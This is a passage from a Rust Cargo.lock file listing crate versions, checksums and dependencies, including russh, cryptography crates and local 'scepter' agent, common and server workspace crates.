"c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" 891 | dependencies = [ 892 | "ecdsa", 893 | "elliptic-curve", 894 | "primeorder", 895 | "sha2", 896 | ] 897 | 898 | [[package]] 899 | name = "p384" 900 | version = "0.13.1" 901 | source = "registry+https://github.com/rust-lang/crates.io-index" 902 | checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" 903 | dependencies = [ 904 | "ecdsa", 905 | "elliptic-curve", 906 | "primeorder", 907 | "sha2", 908 | ] 909 | 910 | [[package]] 911 | name = "p521" 912 | version = "0.13.3" 913 | source = "registry+https://github.com/rust-lang/crates.io-index" 914 | checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2" 915 | dependencies = [ 916 | "base16ct", 917 | "ecdsa", 918 | "elliptic-curve", 919 | "primeorder", 920 | "rand_core", 921 | "sha2", 922 | ] 923 | 924 | [[package]] 925 | name = "pageant" 926 | version = "0.0.3" 927 | source = "registry+https://github.com/rust-lang/crates.io-index" 928 | checksum = "bdd27df01428302f915ea74737fe88170dd1bab4cbd00ff9548ca85618fcd4e4" 929 | dependencies = [ 930 | "bytes", 931 | "delegate", 932 | "futures", 933 | "log", 934 | "rand", 935 | "thiserror", 936 | "tokio", 937 | "windows", 938 | ] 939 | 940 | [[package]] 941 | name = "password-hash" 942 | version = "0.5.0" 943 | source = "registry+https://github.com/rust-lang/crates.io-index" 944 | checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" 945 | dependencies = [ 946 | "base64ct", 947 | "rand_core", 948 | "subtle", 949 | ] 950 | 951 | [[package]] 952 | name = "pbkdf2" 953 | version = "0.12.2" 954 | source = "registry+https://github.com/rust-lang/crates.io-index" 955 | checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" 956 | dependencies = [ 957 | "digest", 958 | "hmac", 959 | ] 960 | 961 | [[package]] 962 | name = "pem-rfc7468" 963 | version = "0.7.0" 964 | source = "registry+https://github.com/rust-lang/crates.io-index" 965 | checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" 966 | dependencies = [ 967 | "base64ct", 968 | ] 969 | 970 | [[package]] 971 | name = "pin-project-lite" 972 | version = "0.2.16" 973 | source = "registry+https://github.com/rust-lang/crates.io-index" 974 | checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" 975 | 976 | [[package]] 977 | name = "pin-utils" 978 | version = "0.1.0" 979 | source = "registry+https://github.com/rust-lang/crates.io-index" 980 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 981 | 982 | [[package]] 983 | name = "pkcs1" 984 | version = "0.7.5" 985 | source = "registry+https://github.com/rust-lang/crates.io-index" 986 | checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" 987 | dependencies = [ 988 | "der", 989 | "pkcs8", 990 | "spki", 991 | ] 992 | 993 | [[package]] 994 | name = "pkcs5" 995 | version = "0.7.1" 996 | source = "registry+https://github.com/rust-lang/crates.io-index" 997 | checksum = "e847e2c91a18bfa887dd028ec33f2fe6f25db77db3619024764914affe8b69a6" 998 | dependencies = [ 999 | "aes", 1000 | "cbc", 1001 | "der", 1002 | "pbkdf2", 1003 | "scrypt", 1004 | "sha2", 1005 | "spki", 1006 | ] 1007 | 1008 | [[package]] 1009 | name = "pkcs8" 1010 | version = "0.10.2" 1011 | source = "registry+https://github.com/rust-lang/crates.io-index" 1012 | checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" 1013 | dependencies = [ 1014 | "der", 1015 | "pkcs5", 1016 | "rand_core", 1017 | "spki", 1018 | ] 1019 | 1020 | [[package]] 1021 | name = "poly1305" 1022 | version = "0.8.0" 1023 | source = "registry+https://github.com/rust-lang/crates.io-index" 1024 | checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" 1025 | dependencies = [ 1026 | "cpufeatures", 1027 | "opaque-debug", 1028 | "universal-hash", 1029 | ] 1030 | 1031 | [[package]] 1032 | name = "polyval" 1033 | version = "0.6.2" 1034 | source = "registry+https://github.com/rust-lang/crates.io-index" 1035 | checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25" 1036 | dependencies = [ 1037 | "cfg-if", 1038 | "cpufeatures", 1039 | "opaque-debug", 1040 | "universal-hash", 1041 | ] 1042 | 1043 | [[package]] 1044 | name = "ppv-lite86" 1045 | version = "0.2.21" 1046 | source = "registry+https://github.com/rust-lang/crates.io-index" 1047 | checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" 1048 | dependencies = [ 1049 | "zerocopy", 1050 | ] 1051 | 1052 | [[package]] 1053 | name = "primeorder" 1054 | version = "0.13.6" 1055 | source = "registry+https://github.com/rust-lang/crates.io-index" 1056 | checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" 1057 | dependencies = [ 1058 | "elliptic-curve", 1059 | ] 1060 | 1061 | [[package]] 1062 | name = "proc-macro2" 1063 | version = "1.0.95" 1064 | source = "registry+https://github.com/rust-lang/crates.io-index" 1065 | checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" 1066 | dependencies = [ 1067 | "unicode-ident", 1068 | ] 1069 | 1070 | [[package]] 1071 | name = "quote" 1072 | version = "1.0.40" 1073 | source = "registry+https://github.com/rust-lang/crates.io-index" 1074 | checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" 1075 | dependencies = [ 1076 | "proc-macro2", 1077 | ] 1078 | 1079 | [[package]] 1080 | name = "rand" 1081 | version = "0.8.5" 1082 | source = "registry+https://github.com/rust-lang/crates.io-index" 1083 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 1084 | dependencies = [ 1085 | "libc", 1086 | "rand_chacha", 1087 | "rand_core", 1088 | ] 1089 | 1090 | [[package]] 1091 | name = "rand_chacha" 1092 | version = "0.3.1" 1093 | source = "registry+https://github.com/rust-lang/crates.io-index" 1094 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 1095 | dependencies = [ 1096 | "ppv-lite86", 1097 | "rand_core", 1098 | ] 1099 | 1100 | [[package]] 1101 | name = "rand_core" 1102 | version = "0.6.4" 1103 | source = "registry+https://github.com/rust-lang/crates.io-index" 1104 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 1105 | dependencies = [ 1106 | "getrandom", 1107 | ] 1108 | 1109 | [[package]] 1110 | name = "rfc6979" 1111 | version = "0.4.0" 1112 | source = "registry+https://github.com/rust-lang/crates.io-index" 1113 | checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" 1114 | dependencies = [ 1115 | "hmac", 1116 | "subtle", 1117 | ] 1118 | 1119 | [[package]] 1120 | name = "rsa" 1121 | version = "0.9.8" 1122 | source = "registry+https://github.com/rust-lang/crates.io-index" 1123 | checksum = "78928ac1ed176a5ca1d17e578a1825f3d81ca54cf41053a592584b020cfd691b" 1124 | dependencies = [ 1125 | "const-oid", 1126 | "digest", 1127 | "num-bigint-dig", 1128 | "num-integer", 1129 | "num-traits", 1130 | "pkcs1", 1131 | "pkcs8", 1132 | "rand_core", 1133 | "sha2", 1134 | "signature", 1135 | "spki", 1136 | "subtle", 1137 | "zeroize", 1138 | ] 1139 | 1140 | [[package]] 1141 | name = "russh" 1142 | version = "0.52.1" 1143 | source = "registry+https://github.com/rust-lang/crates.io-index" 1144 | checksum = "bcc2b4e549ed83a4e36517807367b538c6d00b603ce138637f50a2218222e23f" 1145 | dependencies = [ 1146 | "aes", 1147 | "aes-gcm", 1148 | "bitflags", 1149 | "block-padding", 1150 | "byteorder", 1151 | "bytes", 1152 | "cbc", 1153 | "chacha20", 1154 | "ctr", 1155 | "curve25519-dalek", 1156 | "data-encoding", 1157 | "delegate", 1158 | "der", 1159 | "digest", 1160 | "ecdsa", 1161 | "ed25519-dalek", 1162 | "elliptic-curve", 1163 | "enum_dispatch", 1164 | "flate2", 1165 | "futures", 1166 | "generic-array", 1167 | "getrandom", 1168 | "hex-literal", 1169 | "hmac", 1170 | "home", 1171 | "inout", 1172 | "internal-russh-forked-ssh-key", 1173 | "log", 1174 | "md5", 1175 | "num-bigint", 1176 | "once_cell", 1177 | "p256", 1178 | "p384", 1179 | "p521", 1180 | "pageant", 1181 | "pbkdf2", 1182 | "pkcs1", 1183 | "pkcs5", 1184 | "pkcs8", 1185 | "poly1305", 1186 | "rand", 1187 | "rand_core", 1188 | "rsa", 1189 | "russh-cryptovec", 1190 | "russh-util", 1191 | "sec1", 1192 | "sha1", 1193 | "sha2", 1194 | "signature", 1195 | "spki", 1196 | "ssh-encoding", 1197 | "subtle", 1198 | "thiserror", 1199 | "tokio", 1200 | "typenum", 1201 | "zeroize", 1202 | ] 1203 | 1204 | [[package]] 1205 | name = "russh-cryptovec" 1206 | version = "0.52.0" 1207 | source = "registry+https://github.com/rust-lang/crates.io-index" 1208 | checksum = "4fb0ed583ff0f6b4aa44c7867dd7108df01b30571ee9423e250b4cc939f8c6cf" 1209 | dependencies = [ 1210 | "libc", 1211 | "log", 1212 | "nix", 1213 | "ssh-encoding", 1214 | "winapi", 1215 | ] 1216 | 1217 | [[package]] 1218 | name = "russh-util" 1219 | version = "0.52.0" 1220 | source = "registry+https://github.com/rust-lang/crates.io-index" 1221 | checksum = "668424a5dde0bcb45b55ba7de8476b93831b4aa2fa6947e145f3b053e22c60b6" 1222 | dependencies = [ 1223 | "chrono", 1224 | "tokio", 1225 | "wasm-bindgen", 1226 | "wasm-bindgen-futures", 1227 | ] 1228 | 1229 | [[package]] 1230 | name = "rustc-demangle" 1231 | version = "0.1.24" 1232 | source = "registry+https://github.com/rust-lang/crates.io-index" 1233 | checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f" 1234 | 1235 | [[package]] 1236 | name = "rustc_version" 1237 | version = "0.4.1" 1238 | source = "registry+https://github.com/rust-lang/crates.io-index" 1239 | checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" 1240 | dependencies = [ 1241 | "semver", 1242 | ] 1243 | 1244 | [[package]] 1245 | name = "rustversion" 1246 | version = "1.0.20" 1247 | source = "registry+https://github.com/rust-lang/crates.io-index" 1248 | checksum = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2" 1249 | 1250 | [[package]] 1251 | name = "salsa20" 1252 | version = "0.10.2" 1253 | source = "registry+https://github.com/rust-lang/crates.io-index" 1254 | checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" 1255 | dependencies = [ 1256 | "cipher", 1257 | ] 1258 | 1259 | [[package]] 1260 | name = "scepter-agent" 1261 | version = "0.1.0" 1262 | dependencies = [ 1263 | "debug_print", 1264 | "russh", 1265 | "scepter-common", 1266 | "tokio", 1267 | "windows-sys 0.59.0", 1268 | ] 1269 | 1270 | [[package]] 1271 | name = "scepter-common" 1272 | version = "0.1.0" 1273 | dependencies = [ 1274 | "debug_print", 1275 | "windows-sys 0.59.0", 1276 | ] 1277 | 1278 | [[package]] 1279 | name = "scepter-server" 1280 | version = "0.1.0" 1281 | dependencies = [ 1282 | "debug_print", 1283 | "rand_core", 1284 | "russh", 1285 | "scepter-common", 1286 | "tokio", 1287 | "windows-sys 0.59.0", 1288 | ] 1289 | 1290 | [[package]] 1291 | name = "scrypt" 1292 | version = "0.11.0" 1293 | source = "registry+https://github.com/rust-lang/crates.io-index" 1294 | checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" 1295 | dependencies = [ 1296 | "pbkdf2", 1297 | "salsa20", 1298 | "sha2", 1299 | ] 1300 | 1301 | [[package]] 1302 | name = "sec1" 1303 | version = "0.7.3" 1304 | source = "registry+https://github.com/rust-lang/crates.io-index" 1305 | checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" 1306 | dependencies = [ 1307 | "base16ct", 1308 | "der", 1309 | "generic-array", 1310 | "pkcs8", 1311 | "subtle", 1312 | "zeroize", 1313 | ] 1314 | 1315 | [[package]] 1316 | name = "semver" 1317 | version = "1.0.26" 1318 | source = "registry+https://github.com/rust-lang/crates.io-index" 1319 | checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" 1320 | 1321 | [[package]] 1322 | name = "serde" 1323 | version = "1.0.219" 1324 | source = "registry+https://github.com/rust-lang/crates.io-index" 1325 | checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" 1326 | dependencies = [ 1327 | "serde_derive", 1328 | ] 1329 | 1330 | [[package]] 1331 | name = "serde_derive" 1332 | version = "1.0.219" 1333 | source = "registry+https://github.com/rust-lang/crates.io-index" 1334 | checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" 1335 | dependencies = [ 1336 | "proc-macro2", 1337 | "quote", 1338 | "syn", 1339 | ] 1340 | 1341 | [[package]] 1342 | name = "sha1" 1343 | version = "0.10.6" 1344 | source = "registry+https://github.com/rust-lang/crates.io-index" 1345 | checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" 1346 | dependencies = [ 1347 | "cfg-if", 1348 | "cpufeatures", 1349 | "digest", 1350 | ] 1351 | 1352 | [[package]] 1353 | name = "sha2" 1354 | version = "0.10.9" 1355 | source = "registry+https://github.com/rust-lang/crates.io-index" 1356 | checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" 1357 | dependencies = [ 1358 | "cfg-if", 1359 | "cpufeatures", 1360 | "digest", 1361 | ] 1362 | 1363 | [[package]] 1364 | name = "shlex" 1365 | version = "1.3.0" 1366 | source = "registry+https://github.com/rust-lang/crates.io-index" 1367 | checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" 1368 | 1369 | [[package]] 1370 | name = "signature" 1371 | version = "2.2.0" 1372 | source = "registry+https://github.com/rust-lang/crates.io-index" 1373 | checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" 1374 | dependencies = [ 1375 | "digest", 1376 | "rand_core", 1377 | ] 1378 | 1379 | [[package]] 1380 | name = "slab" 1381 | version = "0.4.9" 1382 | source = "registry+https://github.com/rust-lang/crates.io-index" 1383 | checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" 1384 | dependencies = [ 1385 | "autocfg", 1386 | ] 1387 | 1388 | [[package]] 1389 | name = "smallvec" 1390 | version = "1.15.0" 1391 | source = "registry+https://github.com/rust-lang/crates.io-index" 1392 | checksum = "8917285742e9f3e1683f0a9c4e6b57960b7314d0b08d30d1ecd426713ee2eee9" 1393 | 1394 | [[package]] 1395 | name = "socket2" 1396 | version = "0.5.9" 1397 | source = "registry+https://github.com/rust-lang/crates.io-index" 1398 | checksum = "4f5fd57c80058a56cf5c777ab8a126398ece8e442983605d280a44ce79d0edef" 1399 | dependencies = [ 1400 | "libc", 1401 | "windows-sys 0.52.0", 1402 | ] 1403 | 1404 | [[package]] 1405 | name = "spin" 1406 | version = "0.9.8" 1407 | source = "registry+https://github.com/rust-lang/crates.io-index" 1408 | checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" 1409 | 1410 | [[package]] 1411 | name = "spki" 1412 | version = "0.7.3" 1413 | source = "registry+https://github.com/rust-lang/crates.io-index" 1414 | checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" 1415 | dependencies = [ 1416 | "base64ct", 1417 | "der", 1418 | ] 1419 | 1420 | [[package]] 1421 | name = "ssh-cipher" 1422 | version = "0.2.0" 1423 | source = "registry+https://github.com/rust-lang/crates.io-index" 1424 | checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f" 1425 | dependencies = [ 1426 | "aes", 1427 | "aes-gcm", 1428 | "cbc", 1429 | "chacha20", 1430 | "cipher", 1431 | "ctr", 1432 | "poly1305", 1433 | "ssh-encoding", 1434 | "subtle", 1435 | ] 1436 | 1437 | [[package]] 1438 | name = "ssh-encoding" 1439 | version = "0.2.0" 1440 | source = "registry+https://github.com/rust-lang/crates.io-index" 1441 | checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15" 1442 | dependencies = [ 1443 | "base64ct", 1444 | "bytes", 1445 | "pem-rfc7468", 1446 | "sha2", 1447 | ] 1448 | 1449 | [[package]] 1450 | name = "subtle" 1451 | version = "2.6.1" 1452 | source = "registry+https://github.com/rust-lang/crates.io-index" 1453 | checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" 1454 | 1455 | [[package]] 1456 | name = "syn" 1457 | version = "2.0.101" 1458 | source = "registry+https://github.com/rust-lang/crates.io-index" 1459 | checksum = "8ce2b7fc941b3a24138a0a7cf8e858bfc6a992e7978a068a5c760deb0ed43caf" 1460 | dependencies = [ 1461 | "proc-macro2", 1462 | "quote", 1463 | "unicode-ident", 1464 | ] 1465 | 1466 | [[package]] 1467 | name = "thiserror" 1468 | version = "1.0.69" 1469 | source = "registry+https://github.com/rust-lang/crates.io-index" 1470 | checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" 1471 | dependencies = [ 1472 | "thiserror-impl", 1473 | ] 1474 | 1475 | [[package]] 1476 | name = "thiserror-impl" 1477 | version = "1.0.69" 1478 | source = "registry+https://github.com/rust-lang/crates.io-index" 1479 | checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" 1480 | dependencies = [ 1481 | "proc-macro2", 1482 | "quote", 1483 | "syn", 1484 | ] 1485 | 1486 | [[package]] 1487 | name = "tokio" 1488 | version = "1.45.0" 1489 | source = "registry+https://github.com/rust-lang/crates.io-index" 1490 | checksum = "2513ca694ef9ede0fb23fe71a4ee4107cb102b9dc1930f6d0fd77aae068ae165" 1491 | dependencies = [ 1492 | "backtrace", 1493 | "bytes", 1494 | "libc", 1495 | "mio", 1496 | "pin-project-lite", 1497 | "socket2", 1498 | "tokio-macros", 1499 | "windows-sys 0.52.0", 1500 | ] 1501 | 1502 | [[package]] 1503 | name = "tokio-macros" 1504 | version = "2.5.0" 1505 | source = "registry+https://github.com/rust-lang/crates.io-index" 1506 | checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8" 1507 | dependencies = [ 1508 | "proc-macro2", 1509 | "quote", 1510 | "syn", 1511 | ] 1512 | 1513 | [[package]] 1514 | name = "typenum" 1515 | version = "1.18.0" 1516 | source = "registry+https://github.com/rust-lang/crates.io-index" 1517 | checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" 1518 | 1519 | [[package]] 1520 | name = "unicode-ident" 1521 | version = "1.0.18" 1522 | source = "registry+https://github.com/rust-lang/crates.io-index" 1523 | checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" 1524 | 1525 | [[package]] 1526 | name = "universal-hash" 1527 | version = "0.5.1" 1528 | source = "registry+https://github.com/rust-lang/crates.io-index" 1529 | checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" 1530 | dependencies = [ 1531 | "crypto-common", 1532 | "subtle", 1533 | ] 1534 | 1535 | [[package]] 1536 | name = "version_check" 1537 | version = "0.9.5" 1538 | source = "registry+https://github.com/rust-lang/crates.io-index" 1539 | checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" 1540 | 1541 | [[package]] 1542 | name = "wasi" 1543 | version = "0.11.0+wasi-snapshot-preview1" 1544 | source = "registry+https://github.com/rust-lang/crates.io-index" 1545 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 1546 | 1547 | [[package]] 1548 | name = "wasm-bindgen" 1549 | version = "0.2.100" 1550 | source = "registry+https://github.com/rust-lang/crates.io-index" 1551 | checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" 1552 | dependencies = [ 1553 | "cfg-if", 1554 | "once_cell", 1555 | "rustversion", 1556 | "wasm-bindgen-macro", 1557 | ] 1558 | 1559 | [[package]] 1560 | name = "wasm-bindgen-backend" 1561 | version = "0.2.100" 1562 | source = "registry+https://github.com/rust-lang/crates.io-index" 1563 | checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" 1564 | dependencies = [ 1565 | "bumpalo", 1566 | "log", 1567 | "proc-macro2", 1568 | "quote", 1569 | "syn", 1570 | "wasm-bindgen-shared", 1571 | ] 1572 | 1573 | [[package]] 1574 | name = "wasm-bindgen-futures" 1575 | version = "0.4.50" 1576 | source = "registry+https://github.com/rust-lang/crates.io-index" 1577 | checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61" 1578 | dependencies = [ 1579 | "cfg-if", 1580 | "js-sys", 1581 | "once_cell", 1582 | "wasm-bindgen", 1583 | "web-sys", 1584 | ] 1585 | 1586 | [[package]] 1587 | name = "wasm-bindgen-macro" 1588 | version = "0.2.100" 1589 | source = "registry+https://github.com/rust-lang/crates.io-index" 1590 | checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" 1591 | dependencies = [ 1592 | "quote", 1593 | "wasm-bindgen-macro-support", 1594 | ] 1595 | 1596 | [[package]] 1597 | name = "wasm-bindgen-macro-support" 1598 | version = "0.2.100" 1599 | source = "registry+https://github.com/rust-lang/crates.io-index" 1600 | checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" 1601 | dependencies = [ 1602 | "proc-macro2", 1603 | "quote", 1604 | "syn", 1605 | "wasm-bindgen-backend", 1606 | "wasm-bindgen-shared", 1607 | ] 1608 | 1609 | [[package]] 1610 | name = "wasm-bindgen-shared" 1611 | version = "0.2.100" 1612 | source = "registry+https://github.com/rust-lang/crates.io-index" 1613 | checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" 1614 | dependencies = [ 1615 | "unicode-ident", 1616 | ] 1617 | 1618 | [[package]] 1619 | name = "web-sys" 1620 | version = "0.3.77" 1621 | source = "registry+https://github.com/rust-lang/crates.io-index" 1622 | checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2" 1623 | dependencies = [ 1624 | "js-sys", 1625 | "wasm-bindgen", 1626 | ] 1627 | 1628 | [[package]] 1629 | name = "winapi" 1630 | version = "0.3.9" 1631 | source = "registry+https://github.com/rust-lang/crates.io-index" 1632 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1633 | dependencies = [ 1634 | "winapi-i686-pc-windows-gnu", 1635 | "winapi-x86_64-pc-windows-gnu", 1636 | ] 1637 | 1638 | [[package]] 1639 | name = "winapi-i686-pc-windows-gnu" 1640 | version = "0.4.0" 1641 | source = "registry+https://github.com/rust-lang/crates.io-index" 1642 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1643 | 1644 | [[package]] 1645 | name = "winapi-x86_64-pc-windows-gnu" 1646 | version = "0.4.0" 1647 | source = "registry+https://github.com/rust-lang/crates.io-index" 1648 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1649 | 1650 | [[package]] 1651 | name = "windows" 1652 | version = "0.58.0" 1653 | source = "registry+https://github.com/rust-lang/crates.io-index" 1654 | checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" 1655 | dependencies = [ 1656 | "windows-core 0.58.0", 1657 | "windows-targets", 1658 | ] 1659 | 1660 | [[package]] 1661 | name = "windows-core" 1662 | version = "0.58.0" 1663 | source = "registry+https://github.com/rust-lang/crates.io-index" 1664 | checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" 1665 | dependencies = [ 1666 | "windows-implement 0.58.0", 1667 | "windows-interface 0.58.0", 1668 | "windows-result 0.2.0", 1669 | "windows-strings 0.1.0", 1670 | "windows-targets", 1671 | ] 1672 | 1673 | [[package]] 1674 | name = "windows-core" 1675 | version = "0.61.2" 1676 | source = "registry+https://github.com/rust-lang/crates.io-index" 1677 | checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" 1678 | dependencies = [ 1679 | "windows-implement 0.60.0", 1680 | "windows-interface 0.59.1", 1681 | "windows-link", 1682 | "windows-result 0.3.4", 1683 | "windows-strings 0.4.2", 1684 | ] 1685 | 1686 | [[package]] 1687 | name = "windows-implement" 1688 | version = "0.58.0" 1689 | source = "registry+https://github.com/rust-lang/crates.io-index" 1690 | checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" 1691 | dependencies = [ 1692 | "proc-macro2", 1693 | "quote", 1694 | "syn", 1695 | ] 1696 | 1697 | [[package]] 1698 | name = "windows-implement" 1699 | version = "0.60.0" 1700 | source = "registry+https://github.com/rust-lang/crates.io-index" 1701 | checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836" 1702 | dependencies = [ 1703 | "proc-macro2", 1704 | "quote", 1705 | "syn", 1706 | ] 1707 | 1708 | [[package]] 1709 | name = "windows-interface" 1710 | version = "0.58.0" 1711 | source = "registry+https://github.com/rust-lang/crates.io-index" 1712 | checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" 1713 | dependencies = [ 1714 | "proc-macro2", 1715 | "quote", 1716 | "syn", 1717 | ] 1718 | 1719 | [[package]] 1720 | name = "windows-interface" 1721 | version = "0.59.1" 1722 | source = "registry+https://github.com/rust-lang/crates.io-index" 1723 | checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8" 1724 | dependencies = [ 1725 | "proc-macro2", 1726 | "quote", 1727 | "syn", 1728 | ] 1729 | 1730 | [[package]] 1731 | name = "windows-link" 1732 | version = "0.1.1" 1733 | source = "registry+https://github.com/rust-lang/crates.io-index" 1734 | checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38" 1735 | 1736 | [[package]] 1737 | name = "windows-result" 1738 | version = "0.2.0" 1739 | source = "registry+https://github.com/rust-lang/crates.io-index" 1740 | checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" 1741 | dependencies = [ 1742 | "windows-targets", 1743 | ] 1744 | 1745 | [[package]] 1746 | name = "windows-result" 1747 | version = "0.3.4" 1748 | source = "registry+https://github.com/rust-lang/crates.io-index" 1749 | checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" 1750 | dependencies = [ 1751 | "windows-link", 1752 | ] 1753 | 1754 | [[package]] 1755 | name = "windows-strings" 1756 | version = "0.1.0" 1757 | source = "registry+https://github.com/rust-lang/crates.io-index" 1758 | checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" 1759 | dependencies = [ 1760 | "windows-result 0.2.0", 1761 | "windows-targets", 1762 | ] 1763 | 1764 | [[package]] 1765 | name = "windows-strings" 1766 | version = "0.4.2" 1767 | source = "registry+https://github.com/rust-lang/crates.io-index" 1768 | checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" 1769 | dependencies = [ 1770 | "windows-link", 1771 | ] 1772 | 1773 | [[package]] 1774 | name = "windows-sys" 1775 | version = "0.52.0" 1776 | source = "registry+https://github.com/rust-lang/crates.io-index" 1777 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 1778 | dependencies = [ 1779 | "windows-targets", 1780 | ] 1781 | 1782 | [[package]] 1783 | name = "windows-sys" 1784 | version = "0.59.0" 1785 | source = "registry+https://github.com/rust-lang/crates.io-index" 1786 | checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" 1787 | dependencies = [ 1788 | "windows-targets", 1789 | ] 1790 | 1791 | [[package]] 1792 | name = "windows-targets" 1793 | version = "0.52.6" 1794 | source = "registry+https://github.com/rust-lang/crates.io-index" 1795 | checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" 1796 | dependencies = [ 1797 | "windows_aarch64_gnullvm", 1798 | "windows_aarch64_msvc", 1799 | "windows_i686_gnu", 1800 | "windows_i686_gnullvm", 1801 | "windows_i686_msvc", 1802 | "windows_x86_64_gnu", 1803 | "windows_x86_64_gnullvm", 1804 | "windows_x86_64_msvc", 1805 | ] 1806 | 1807 | [[package]] 1808 | name = "windows_aarch64_gnullvm" 1809 | version = "0.52.6" 1810 | source = 